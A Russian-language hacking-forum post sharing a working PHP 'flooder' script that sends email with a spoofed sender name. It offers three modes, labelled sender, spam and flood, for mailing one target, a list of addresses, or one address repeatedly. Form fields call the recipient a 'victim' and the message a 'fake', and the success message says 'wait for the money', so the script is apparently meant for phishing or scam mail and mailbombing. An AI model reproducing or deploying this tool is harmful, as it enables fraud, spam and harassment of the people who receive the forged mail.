Доступ к готовым решениям

Переход в группу "Пользователь"

300.00 ₽
Одноразовый платёж
Быстрый переход в группу "Пользователи", без надобности написания постов и ожидания.

Покупка дает возможность:
Быть полноправным участником форума
Нормальное копирование кода
Создавать темы
Скачивать файлы
Доступ к архиву Pawno-Info

Скрипт для отправки mail с подменой имени

Статус
В этой теме нельзя размещать новые ответы.

AVTOXA

Специалист
Собственно сам скрипт:

Код:
<title>flooder</title>
<?

error_reporting (0);
if(!set_time_limit(0)) {
$limit = false;
} else {
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}

$log = 'log.txt';

ini_set('max_execution_time', '0');

?>
File log <?if(file_exists($log)) { if(is_writable($log)) { echo('<font color=Gold>access to entry</font>'); } else { echo('<font color=Red>no access to entry</font> (right to <font color=Gold>0777</font>)'); } } else { echo('no exist - right to <font color=Gold>0777</font>'); }?><br>
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (time work script limit)');?><br>
<?

$ip = getenv('REMOTE_ADDR');

if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
{

$_POST['to'] = stripslashes($_POST['to']);
$_POST['msg'] = stripslashes($_POST['msg']);
$_POST['from'] = stripslashes($_POST['from']);
$_POST['subject'] = stripslashes($_POST['subject']);

if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
{
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
$headers .= "From: ".$_POST['from']."\n";
if($_GET['mail'] == '1')
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('impossible send message');
}
elseif($_GET['mail'] == '2')
{
$_POST['to'] = explode("\n",$_POST['to']);
foreach($_POST['to'] as $poluchatels)
{
mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('impossible send message');
}
}
elseif($_GET['mail'] == '3')
{
if(preg_match('/[0-9]+/',$_POST['kol']))
{
for($i=0;$i<$_POST['kol'];$i++)
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('impossible send message');
sleep(1);
}
}
else
{
echo('wrong');
}
}
$f = fopen($log,'a');
fwrite($f,'send message and subject"'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n");
fclose($f);
echo('<center><b><font color="green">Жди бабла</font></b></center>');
}
else
{
?>
<form style="width:350px" method='post'>
<?
if($_GET['mail'] == '1' || $_GET['mail'] == '3')
{
echo("Жертва  <input type='text'name='to'><br>");
}
?>
От кого <input type='text' name='from'><br>
Тема  <input type='text' name='subject'><br>
<?
if($_GET['mail'] == '3')
{
echo("amount message <input type='text' name='kol'><br>");
}
?>
<br>
htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br>
<?
if($_GET['mail'] == '2')
{
echo("receive<br><textarea name='to' rows='10' cols='30'>@mail.ru</textarea>");
}
?>
<br>Фейк<br>
<textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
</form>
<?
}
} else {
?><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Сендер</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Спам</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Флуд</a><br>
<?
}
?>
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу